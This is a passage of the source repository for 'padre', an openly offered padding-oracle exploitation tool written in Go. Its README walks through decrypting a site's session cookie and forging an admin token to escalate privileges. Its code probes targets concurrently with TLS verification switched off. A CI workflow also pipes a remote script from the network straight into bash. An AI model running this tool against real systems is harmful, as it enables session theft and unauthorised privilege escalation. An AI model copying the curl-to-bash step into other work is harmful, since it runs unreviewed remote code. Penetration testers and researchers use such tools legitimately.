├── .dockerignore ├── .github ├── dependabot.yml └── workflows │ ├── build-release.yaml │ └── test.yaml ├── .gitignore ├── Dockerfile ├── LICENSE ├── Makefile ├── README.md ├── arg_errors.go ├── args.go ├── assets └── demo.gif ├── docker-compose.yml ├── go.mod ├── go.sum ├── hints.go ├── main.go ├── pkg ├── client │ ├── client.go │ ├── client_test.go │ ├── probe.go │ ├── probe_test.go │ ├── response.go │ └── util.go ├── color │ ├── color.go │ └── color_test.go ├── encoder │ ├── ascii.go │ ├── ascii_test.go │ ├── factory.go │ ├── hex.go │ ├── interface.go │ ├── replacer.go │ └── replacer_test.go ├── exploit │ ├── decrypt.go │ ├── encrypt.go │ ├── exploit.go │ ├── padre.go │ ├── probes.go │ └── util.go ├── output │ ├── hackybar.go │ ├── prefix.go │ └── printer.go ├── probe │ ├── confirm.go │ ├── detect.go │ ├── fingerprint.go │ ├── interface.go │ └── matcher.go └── util │ ├── http.go │ ├── http_test.go │ ├── random.go │ ├── random_test.go │ ├── strings.go │ ├── strings_test.go │ └── terminal.go ├── test_server ├── .dockerignore ├── .gitignore ├── .python-version ├── Dockerfile ├── README.md ├── app.py ├── crypto.py ├── docker-compose.yaml ├── encoder.py ├── requirements.txt ├── server.py ├── setup.cfg └── tests │ ├── __init__.py │ ├── app_test.py │ ├── crypto_test.py │ └── encoder_test.py └── usage.go /.dockerignore: -------------------------------------------------------------------------------- 1 | test_server 2 | Dockerfile 3 | docker-compose.yml -------------------------------------------------------------------------------- /.github/dependabot.yml: -------------------------------------------------------------------------------- 1 | # To get started with Dependabot version updates, you'll need to specify which 2 | # package ecosystems to update and where the package manifests are located. 3 | # Please see the documentation for all configuration options: 4 | # https://docs.github.com/github/administering-a-repository/configuration-options-for-dependency-updates 5 | 6 | version: 2 7 | updates: 8 | - package-ecosystem: gomod # See documentation for possible values 9 | directory: "/" # Location of package manifests 10 | schedule: 11 | interval: "daily" 12 | -------------------------------------------------------------------------------- /.github/workflows/build-release.yaml: -------------------------------------------------------------------------------- 1 | name: Publish release 2 | on: 3 | push: 4 | tags: 5 | - 'v*' # Push events to matching v*, i.e. v1.0, v20.15.10 6 | jobs: 7 | release: 8 | runs-on: ubuntu-latest 9 | outputs: 10 | upload_url: ${{ steps.create_release.outputs.upload_url}} 11 | steps: 12 | - name: Create Release 13 | id: create_release 14 | uses: actions/create-release@v1 15 | env: 16 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 17 | with: 18 | tag_name: ${{ github.ref }} 19 | release_name: Release ${{ github.ref }} 20 | draft: true 21 | prerelease: false 22 | 23 | build: 24 | needs: release 25 | runs-on: ubuntu-latest 26 | strategy: 27 | matrix: 28 | GOOS: [linux, windows, darwin] 29 | GOARCH: [amd64] 30 | env: 31 | GOOS: ${{ matrix.GOOS }} 32 | GOARCH: ${{ matrix.GOARCH }} 33 | ACTIONS_ALLOW_UNSECURE_COMMANDS: 'true' 34 | steps: 35 | - name: Set binary extension 36 | if: matrix.GOOS == 'windows' 37 | run: echo "::set-env name=BINARY_EXT::.exe" 38 | 39 | - name: Set compiled binary name 40 | run: | 41 | echo "::set-env name=BINARY_NAME::padre-${{ matrix.GOOS }}-${{ matrix.GOARCH }}${{ env.BINARY_EXT }}" 42 | echo "Binary name set to ${{ env.BINARY_NAME }}" 43 | 44 | - name: Checkout code 45 | uses: actions/checkout@v2 46 | 47 | - uses: actions/setup-go@v2 48 | with: 49 | go-version: '1.20' 50 | 51 | - name: Build project 52 | run: go build -o $BINARY_NAME 53 | 54 | - name: Attach compiled binary to release 55 | id: upload-release-asset 56 | uses: actions/upload-release-asset@v1 57 | env: 58 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 59 | with: 60 | upload_url: ${{ needs.release.outputs.upload_url }} 61 | asset_path: ./${{ env.BINARY_NAME }} 62 | asset_name: ${{ env.BINARY_NAME }} 63 | asset_content_type: application/octet-stream 64 | -------------------------------------------------------------------------------- /.github/workflows/test.yaml: -------------------------------------------------------------------------------- 1 | on: [push, pull_request] 2 | name: Test 3 | jobs: 4 | test: 5 | strategy: 6 | matrix: 7 | go-version: [1.18.x, 1.19.x, 1.20.x] 8 | os: [ubuntu-latest, macos-latest, windows-latest] 9 | runs-on: ${{ matrix.os }} 10 | steps: 11 | - name: Install Go 12 | uses: actions/setup-go@v2 13 | with: 14 | go-version: ${{ matrix.go-version }} 15 | 16 | - name: Checkout code 17 | uses: actions/checkout@v2 18 | 19 | - name: Restore dependencies cache 20 | uses: actions/cache@v2 21 | with: 22 | path: ~/go/pkg/mod 23 | key: ${{ runner.os }}-go-${{ hashFiles('**/go.sum') }} 24 | restore-keys: | 25 | ${{ runner.os }}-go- 26 | 27 | - name: Unit tests 28 | run: make test 29 | 30 | - name: Upload coverage report to codecov 31 | if: ${{ matrix.os == 'ubuntu-latest'}} 32 | run: bash <(curl -s https://codecov.io/bash) 33 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | .vscode/ 2 | root.crt 3 | coverage.out 4 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM golang:1.17 2 | 3 | WORKDIR /padre 4 | 5 | # Build 6 | COPY . . 7 | RUN go mod download 8 | RUN go build -o padre . 9 | 10 | # Runn 11 | CMD ["./padre"] -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 glebarez 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | test: 2 | go test -race -coverprofile=coverage.out -covermode=atomic ./... -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![](https://img.shields.io/github/go-mod/go-version/glebarez/padre) ![Publish release](https://github.com/glebarez/padre/workflows/Publish%20release/badge.svg) ![](https://img.shields.io/codecov/c/github/glebarez/padre/master) 2 | 3 | # padre 4 | ***padre*** is an advanced exploiter for Padding Oracle attacks against CBC mode encryption 5 | 6 | Features: 7 | - blazing fast, concurrent implementation 8 | - decryption of tokens 9 | - encryption of arbitrary data 10 | - automatic fingerprinting of padding oracles 11 | - automatic detection of cipher block length 12 | - HINTS! if failure occurs during operations, padre will hint you about what can be tweaked to succeed 13 | - supports tokens in GET/POST parameters, Cookies 14 | - flexible specification of encoding rules (base64, hex, etc.) 15 | 16 | ## Demo 17 | 18 | ![demo](assets/demo.gif ) 19 | 20 | ## Installation/Update 21 | - Fastest way is to download pre-compiled binary for your OS from [Latest release](https://github.com/glebarez/padre/releases/latest) 22 | 23 | - Alternatively, if you have Go installed, build from source: 24 | ```console 25 | go install github.com/glebarez/padre@latest 26 | ``` 27 | 28 | ## Usage scenario 29 | If you find a suspected padding oracle, where the encrypted data is stored inside a cookie named SESS, you can use the following: 30 | ```bash 31 | padre -u 'https://target.site/profile.php' -cookie 'SESS=$' 'Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg==' 32 | ``` 33 | padre will automatically fingerprint HTTP responses to determine if padding oracle can be confirmed. If server is indeed vulnerable, the provided token will be decrypted into something like: 34 | ```json 35 | {"user_id": 456, "is_admin": false} 36 | ``` 37 | It looks like you could elevate your privileges here! 38 | 39 | You can attempt to do so by first generating your own encrypted data that the oracle will decrypt back to some sneaky plaintext: 40 | ```bash 41 | padre -u 'https://target.site/profile.php' -cookie 'SESS=$' -enc '{"user_id": 456, "is_admin": true}' 42 | ``` 43 | This will spit out another encoded set of encrypted data, perhaps something like below (if base64 used): 44 | ```text 45 | dGhpcyBpcyBqdXN0IGFuIGV4YW1wbGU= 46 | ``` 47 | Now you can open your browser and set the value of the SESS cookie to the above value. Loading the original oracle page, you should now see you are elevated to admin level. 48 | 49 | ## Impact of padding Oracles 50 | - disclosing encrypted session information 51 | - bypassing authentication 52 | - providing fake tokens that server will trust 53 | - generally, broad extension of attack surface 54 | 55 | ## Full usage options 56 | ``` 57 | Usage: padre [OPTIONS] [INPUT] 58 | 59 | INPUT: 60 | In decrypt mode: encrypted data 61 | In encrypt mode: the plaintext to be encrypted 62 | If not passed, will read from STDIN 63 | 64 | NOTE: binary data is always encoded in HTTP. Tweak encoding rules if needed (see options: -e, -r) 65 | 66 | OPTIONS: 67 | 68 | -u *required* 69 | target URL, use $ character to define token placeholder (if present in URL) 70 | 71 | -enc 72 | Encrypt mode 73 | 74 | -err 75 | Regex pattern, HTTP response bodies will be matched against this to detect padding oracle. Omit to perform automatic fingerprinting 76 | 77 | -e 78 | Encoding to apply to binary data. Supported values: 79 | b64 (standard base64) *default* 80 | lhex (lowercase hex) 81 | 82 | -r 83 | Additional replacements to apply after encoding binary data. Use odd-length strings, consiting of pairs of characters . 84 | Example: 85 | If server uses base64, but replaces '/' with '!', '+' with '-', '=' with '~', then use -r "/!+-=~" 86 | 87 | -cookie 88 | Cookie value to be set in HTTP requests. Use $ character to mark token placeholder. 89 | 90 | -post 91 | String data to perform POST requests. Use $ character to mark token placeholder. 92 | 93 | -ct 94 | Content-Type for POST requests. If not specified, Content-Type will be determined automatically. 95 | 96 | -b 97 | Block length used in cipher (use 16 for AES). Omit to perform automatic detection. Supported values: 98 | 8 99 | 16 *default* 100 | 32 101 | 102 | -p 103 | Number of parallel HTTP connections established to target server [1-256] 104 | 30 *default* 105 | 106 | -proxy 107 | HTTP proxy. e.g. use -proxy "http://localhost:8080" for Burp or ZAP 108 | ``` 109 | 110 | ## Further read 111 | - https://blog.skullsecurity.org/2013/a-padding-oracle-example 112 | - https://blog.skullsecurity.org/2016/going-the-other-way-with-padding-oracles-encrypting-arbitrary-data 113 | 114 | ## Alternative tools 115 | - https://github.com/liamg/pax 116 | - https://github.com/AonCyberLabs/PadBuster 117 | -------------------------------------------------------------------------------- /arg_errors.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import "fmt" 4 | 5 | type argErrors struct { 6 | errors []error 7 | warnings []string 8 | } 9 | 10 | func newArgErrors() *argErrors { 11 | return &argErrors{ 12 | errors: make([]error, 0), 13 | warnings: make([]string, 0), 14 | } 15 | } 16 | 17 | func (p *argErrors) flagError(flag string, err error) { 18 | e := fmt.Errorf("parameter %s: %w", flag, err) 19 | p.errors = append(p.errors, e) 20 | } 21 | 22 | func (p *argErrors) flagErrorf(flag string, format string, a ...interface{}) { 23 | e := fmt.Errorf("parameter %s: %s", flag, fmt.Sprintf(format, a...)) 24 | p.errors = append(p.errors, e) 25 | } 26 | 27 | func (p *argErrors) flagWarningf(flag string, format string, a ...interface{}) { 28 | w := fmt.Sprintf("parameter %s: %s", flag, fmt.Sprintf(format, a...)) 29 | p.warnings = append(p.warnings, w) 30 | } 31 | 32 | func (p *argErrors) warningf(format string, a ...interface{}) { 33 | w := fmt.Sprintf(format, a...) 34 | p.warnings = append(p.warnings, w) 35 | } 36 | -------------------------------------------------------------------------------- /args.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "flag" 5 | "fmt" 6 | "net/http" 7 | "net/url" 8 | "regexp" 9 | "strings" 10 | 11 | "github.com/glebarez/padre/pkg/color" 12 | "github.com/glebarez/padre/pkg/encoder" 13 | "github.com/glebarez/padre/pkg/util" 14 | ) 15 | 16 | func init() { 17 | // a custom usage message 18 | flag.Usage = func() { 19 | fmt.Fprint(stderr, usage) 20 | } 21 | } 22 | 23 | const ( 24 | defaultConcurrency = 30 25 | defaultTerminalWidth = 80 26 | maxConcurrency = 256 27 | ) 28 | 29 | // Args - CLI flags 30 | type Args struct { 31 | BlockLen *int 32 | Parallel *int 33 | TargetURL *string 34 | Encoder encoder.Encoder 35 | PaddingErrorPattern *string 36 | ProxyURL *url.URL 37 | POSTdata *string 38 | ContentType *string 39 | Cookies []*http.Cookie 40 | EncryptMode *bool 41 | Input *string 42 | } 43 | 44 | func parseArgs() (*Args, *argErrors) { 45 | // container for storing errors and warnings 46 | argErrs := newArgErrors() 47 | 48 | args := &Args{} 49 | 50 | // simple flags that go in as-is 51 | args.PaddingErrorPattern = flag.String("err", "", "") 52 | args.BlockLen = flag.Int("b", 0, "") 53 | args.Parallel = flag.Int("p", defaultConcurrency, "") 54 | args.POSTdata = flag.String("post", "", "") 55 | args.ContentType = flag.String("ct", "", "") 56 | args.EncryptMode = flag.Bool("enc", false, "") 57 | args.TargetURL = flag.String("u", "", "") 58 | 59 | // flags that need additional processing 60 | proxyURL := flag.String("proxy", "", "") 61 | encoding := flag.String("e", "b64", "") 62 | replacements := flag.String("r", "", "") 63 | cookies := flag.String("cookie", "", "") 64 | 65 | // parse flags 66 | flag.Parse() 67 | 68 | // general check on URL, POSTdata or Cookies for having the $ placeholder 69 | match1, err := regexp.MatchString(`\$`, *args.TargetURL) 70 | if err != nil { 71 | argErrs.flagError("-u", err) 72 | } 73 | match2, err := regexp.MatchString(`\$`, *args.POSTdata) 74 | if err != nil { 75 | argErrs.flagError("-post", err) 76 | } 77 | match3, err := regexp.MatchString(`\$`, *cookies) 78 | if err != nil { 79 | argErrs.flagError("-cookie", err) 80 | } 81 | if !(match1 || match2 || match3) { 82 | argErrs.flagErrorf("-u, -post, -cookie", "Either URL, POST data or Cookie must contain the $ placeholder") 83 | } 84 | 85 | // Target URL 86 | if *args.TargetURL == "" { 87 | argErrs.flagErrorf("-u", "Must be specified") 88 | } else { 89 | _, err = url.Parse(*args.TargetURL) 90 | if err != nil { 91 | argErrs.flagError("-u", fmt.Errorf("failed to parse URL: %w", err)) 92 | } 93 | } 94 | 95 | // Proxy URL 96 | if *proxyURL != "" { 97 | args.ProxyURL, err = url.Parse(*proxyURL) 98 | if err != nil { 99 | argErrs.flagError("-proxy", fmt.Errorf("failed to parse URL: %w", err)) 100 | } 101 | } 102 | 103 | // Encoder (With replacements) 104 | if len(*replacements)%2 == 1 { 105 | argErrs.flagErrorf("-r", "String must be of even length (0,2,4, etc.)") 106 | } else { 107 | switch strings.ToLower(*encoding) { 108 | case "b64": 109 | args.Encoder = encoder.NewB64encoder(*replacements) 110 | case "lhex": 111 | args.Encoder = encoder.NewLHEXencoder(*replacements) 112 | default: 113 | argErrs.flagErrorf("-e", "Unsupported encoding specified") 114 | } 115 | } 116 | 117 | // block length 118 | switch *args.BlockLen { 119 | case 0: // = not set 120 | case 8: 121 | case 16: 122 | case 32: 123 | default: 124 | argErrs.flagErrorf("-b", "Unsupported value passed. Omit, or specify one of: 8, 16, 32") 125 | } 126 | 127 | // Cookies 128 | if *cookies != "" { 129 | args.Cookies, err = util.ParseCookies(*cookies) 130 | if err != nil { 131 | argErrs.flagError("-cookie", fmt.Errorf("failed to parse cookies: %s", err)) 132 | } 133 | } 134 | 135 | // Concurrency 136 | if *args.Parallel < 1 { 137 | argErrs.flagWarningf("-p", "Cannot be less than 1, value corrected to default value (%d)", defaultConcurrency) 138 | *args.Parallel = defaultConcurrency 139 | } else if *args.Parallel > maxConcurrency { 140 | argErrs.flagWarningf("-p", "Value reduced to maximum allowed value (%d)", maxConcurrency) 141 | *args.Parallel = maxConcurrency 142 | } 143 | 144 | // content-type auto-detection 145 | if *args.POSTdata != "" && *args.ContentType == "" { 146 | *args.ContentType = util.DetectContentType(*args.POSTdata) 147 | argErrs.warningf("HTTP Content-Type detected automatically as %s", color.Yellow(*args.ContentType)) 148 | } 149 | 150 | // decide on input source 151 | switch flag.NArg() { 152 | case 0: 153 | // no input passed, STDIN will be used 154 | case 1: 155 | // input is passed 156 | args.Input = &flag.Args()[0] 157 | default: 158 | // too many positional arguments 159 | argErrs.flagErrorf("[INPUT]", "Specify exactly one input string, or pipe into STDIN") 160 | } 161 | 162 | return args, argErrs 163 | } 164 | -------------------------------------------------------------------------------- /assets/demo.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/glebarez/padre/18618f584a18e31ec68ae6658f150febbdbf108a/assets/demo.gif -------------------------------------------------------------------------------- /docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "2.1" 2 | 3 | services: 4 | vuln-server: 5 | build: ./test_server 6 | environment: 7 | VULNERABLE: 1 8 | USE_GEVENT: 1 9 | expose: 10 | - "5000" 11 | logging: 12 | driver: "none" 13 | healthcheck: 14 | test: ["CMD", "curl", "-f", "http://localhost:5000/health"] 15 | interval: 2s 16 | timeout: 1s 17 | retries: 3 18 | 19 | padre: 20 | build: . 21 | depends_on: 22 | vuln-server: 23 | condition: service_healthy 24 | command: > 25 | bash -c "./padre -u http://vuln-server:5000/decrypt?cipher=$$ -enc http-get | ./padre -u http://vuln-server:5000/decrypt?cipher=$$ 26 | && ./padre -u http://vuln-server:5000/decrypt -post 'cipher=$$' -enc http-post | ./padre -u http://vuln-server:5000/decrypt -post 'cipher=$$'" 27 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/glebarez/padre 2 | 3 | go 1.17 4 | 5 | require ( 6 | github.com/fatih/color v1.16.0 7 | github.com/mattn/go-isatty v0.0.20 8 | github.com/nsf/termbox-go v1.1.1 9 | github.com/stretchr/testify v1.8.4 10 | ) 11 | 12 | require ( 13 | github.com/davecgh/go-spew v1.1.1 // indirect 14 | github.com/mattn/go-colorable v0.1.13 // indirect 15 | github.com/mattn/go-runewidth v0.0.9 // indirect 16 | github.com/pmezard/go-difflib v1.0.0 // indirect 17 | golang.org/x/sys v0.14.0 // indirect 18 | gopkg.in/yaml.v3 v3.0.1 // indirect 19 | ) 20 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 2 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 3 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 4 | github.com/fatih/color v1.16.0 h1:zmkK9Ngbjj+K0yRhTVONQh1p/HknKYSlNT+vZCzyokM= 5 | github.com/fatih/color v1.16.0/go.mod h1:fL2Sau1YI5c0pdGEVCbKQbLXB6edEj1ZgiY4NijnWvE= 6 | github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA= 7 | github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg= 8 | github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= 9 | github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY= 10 | github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= 11 | github.com/mattn/go-runewidth v0.0.9 h1:Lm995f3rfxdpd6TSmuVCHVb/QhupuXlYr8sCI/QdE+0= 12 | github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI= 13 | github.com/nsf/termbox-go v1.1.1 h1:nksUPLCb73Q++DwbYUBEglYBRPZyoXJdrj5L+TkjyZY= 14 | github.com/nsf/termbox-go v1.1.1/go.mod h1:T0cTdVuOwf7pHQNtfhnEbzHbcNyCEcVU4YPpouCbVxo= 15 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 16 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 17 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 18 | github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= 19 | github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= 20 | github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 21 | github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= 22 | github.com/stretchr/testify v1.8.4 h1:CcVxjf3Q8PM0mHUKJCdn+eZZtm5yQwehR5yeSVQQcUk= 23 | github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= 24 | golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 25 | golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 26 | golang.org/x/sys v0.14.0 h1:Vz7Qs629MkJkGyHxUlRHizWJRG2j8fbQKjELVSNhy7Q= 27 | golang.org/x/sys v0.14.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 28 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM= 29 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 30 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 31 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 32 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 33 | -------------------------------------------------------------------------------- /hints.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "github.com/glebarez/padre/pkg/color" 5 | "github.com/glebarez/padre/pkg/output" 6 | ) 7 | 8 | // flag wrapper 9 | func _f(f string) string { 10 | return `(` + color.GreenBold(`-`+f) + ` option)` 11 | } 12 | 13 | // hint texts 14 | var ( 15 | omitBlockLen = `omit ` + _f(`b`) + ` for automatic detection of block length` 16 | omitErrPattern = `omit ` + _f(`err`) + ` for automatic fingerprinting of HTTP responses` 17 | setErrPattern = `specify error pattern manually with ` + _f(`err`) 18 | lowerConnections = `server might be overwhelmed or rate-limiting you requests. try lowering concurrency using ` + _f(`p`) 19 | checkEncoding = `check that encoding ` + _f(`e`) + ` and replacement rules ` + _f(`r`) + ` are set properly` 20 | checkInput = `check that INPUT is properly formatted` 21 | ) 22 | 23 | // make hints for obvious reasons 24 | func makeDetectionHints(args *Args) []string { 25 | 26 | hints := make([]string, 0) 27 | 28 | // block length 29 | if *args.BlockLen != 0 { 30 | hints = append(hints, omitBlockLen) 31 | } else { 32 | // error pattern 33 | if *args.PaddingErrorPattern != "" { 34 | hints = append(hints, omitErrPattern) 35 | } else { 36 | hints = append(hints, setErrPattern) 37 | } 38 | } 39 | 40 | // concurrency 41 | if *args.Parallel > 10 { 42 | hints = append(hints, lowerConnections) 43 | } 44 | 45 | return hints 46 | } 47 | 48 | func printHints(p *output.Printer, hints []string) { 49 | // hints intro 50 | p.AddPrefix(color.CyanBold("[hints]"), true) 51 | defer p.RemovePrefix() 52 | 53 | p.Println(`if you believe target is vulnerable, try following:`) 54 | 55 | // list hints 56 | p.AddPrefix(color.CyanBold(`> `), false) 57 | defer p.RemovePrefix() 58 | 59 | for _, h := range hints { 60 | p.Println(h) 61 | } 62 | } 63 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bufio" 5 | "crypto/tls" 6 | "fmt" 7 | "net/http" 8 | "os" 9 | 10 | "github.com/glebarez/padre/pkg/client" 11 | "github.com/glebarez/padre/pkg/color" 12 | "github.com/glebarez/padre/pkg/encoder" 13 | "github.com/glebarez/padre/pkg/exploit" 14 | out "github.com/glebarez/padre/pkg/output" 15 | "github.com/glebarez/padre/pkg/probe" 16 | "github.com/glebarez/padre/pkg/util" 17 | ) 18 | 19 | var ( 20 | stderr = color.Error 21 | stdout = os.Stdout 22 | ) 23 | 24 | func main() { 25 | var err error 26 | 27 | // initialize printer 28 | print := &out.Printer{ 29 | Stream: stderr, 30 | } 31 | 32 | // determine terminal width 33 | var termWidth int 34 | termWidth, err = util.TerminalWidth() 35 | if err != nil { 36 | // fallback to default 37 | print.AvailableWidth = defaultTerminalWidth 38 | print.Errorf("Could not determine terminal width. Falling back to %d", defaultTerminalWidth) 39 | err = nil //nolint 40 | } else { 41 | print.AvailableWidth = termWidth 42 | } 43 | 44 | // parse CLI arguments 45 | args, errs := parseArgs() 46 | 47 | // check if errors occurred during CLI arguments parsing 48 | if len(errs.errors) > 0 { 49 | print.AddPrefix(color.CyanBold("argument errors:"), true) 50 | for _, e := range errs.errors { 51 | print.Error(e) 52 | } 53 | print.RemovePrefix() 54 | print.Printlnf("Run with %s option to see usage help", color.CyanBold("-h")) 55 | os.Exit(1) 56 | } 57 | 58 | // check if warnings occurred during CLI arguments parsing 59 | for _, w := range errs.warnings { 60 | print.Warning(w) 61 | } 62 | 63 | // show welcoming message 64 | print.Info("%s is on duty", color.CyanBold("padre")) 65 | 66 | // be verbose about concurrency 67 | print.Info("using concurrency (http connections): %s", color.Green(*args.Parallel)) 68 | 69 | // initialize HTTP client 70 | client := &client.Client{ 71 | HTTPclient: &http.Client{ 72 | Transport: &http.Transport{ 73 | MaxConnsPerHost: *args.Parallel, 74 | Proxy: http.ProxyURL(args.ProxyURL), 75 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // skip TLS verification 76 | }}, 77 | URL: *args.TargetURL, 78 | POSTdata: *args.POSTdata, 79 | Cookies: args.Cookies, 80 | CipherPlaceholder: `$`, 81 | Encoder: args.Encoder, 82 | Concurrency: *args.Parallel, 83 | ContentType: *args.ContentType, 84 | } 85 | 86 | // create matcher for padding error 87 | var matcher probe.PaddingErrorMatcher 88 | 89 | if *args.PaddingErrorPattern != "" { 90 | matcher, err = probe.NewMatcherByRegexp(*args.PaddingErrorPattern) 91 | if err != nil { 92 | print.Error(err) 93 | os.Exit(1) 94 | } 95 | } 96 | 97 | // -- detect/confirm padding oracle 98 | // set block lengths to try 99 | var blockLengths []int 100 | 101 | if *args.BlockLen == 0 { 102 | // no block length explicitly provided, we need to try all supported lengths 103 | blockLengths = []int{8, 16, 32} 104 | } else { 105 | blockLengths = []int{*args.BlockLen} 106 | } 107 | 108 | var i, bl int 109 | // if matcher was already created due to explicit pattern provided in args 110 | // we need to just confirm the existence of padding oracle 111 | if matcher != nil { 112 | print.Action("confirming padding oracle...") 113 | for i, bl = range blockLengths { 114 | confirmed, err := probe.ConfirmPaddingOracle(client, matcher, bl) 115 | if err != nil { 116 | print.Error(err) 117 | os.Exit(1) 118 | } 119 | 120 | // exit as soon as padding oracle is confirmed 121 | if confirmed { 122 | print.Success("padding oracle confirmed") 123 | break 124 | } 125 | 126 | // on last iteration, getting here means confirming failed 127 | if i == len(blockLengths)-1 { 128 | print.Errorf("padding oracle was not confirmed") 129 | printHints(print, makeDetectionHints(args)) 130 | os.Exit(1) 131 | } 132 | } 133 | } 134 | 135 | // if matcher was not created (e.g. pattern was not provided in CLI args) 136 | // then we need to auto-detect the fingerprint of padding oracle 137 | if matcher == nil { 138 | print.Action("fingerprinting HTTP responses for padding oracle...") 139 | for i, bl = range blockLengths { 140 | matcher, err = probe.DetectPaddingErrorFingerprint(client, bl) 141 | if err != nil { 142 | print.Error(err) 143 | os.Exit(1) 144 | } 145 | 146 | // exit as soon as fingerprint is detected 147 | if matcher != nil { 148 | print.Success("successfully detected padding oracle") 149 | break 150 | } 151 | 152 | // on last iteration, getting here means confirming failed 153 | if i == len(blockLengths)-1 { 154 | print.Errorf("could not auto-detect padding oracle fingerprint") 155 | printHints(print, makeDetectionHints(args)) 156 | os.Exit(1) 157 | } 158 | } 159 | } 160 | 161 | // set block length if it was auto-detected 162 | if *args.BlockLen == 0 { 163 | *args.BlockLen = bl 164 | print.Success("detected block length: %s", color.Green(bl)) 165 | } 166 | 167 | // print mode used 168 | if *args.EncryptMode { 169 | print.Warning("mode: %s", color.CyanBold("encrypt")) 170 | } else { 171 | print.Warning("mode: %s", color.CyanBold("decrypt")) 172 | } 173 | 174 | // 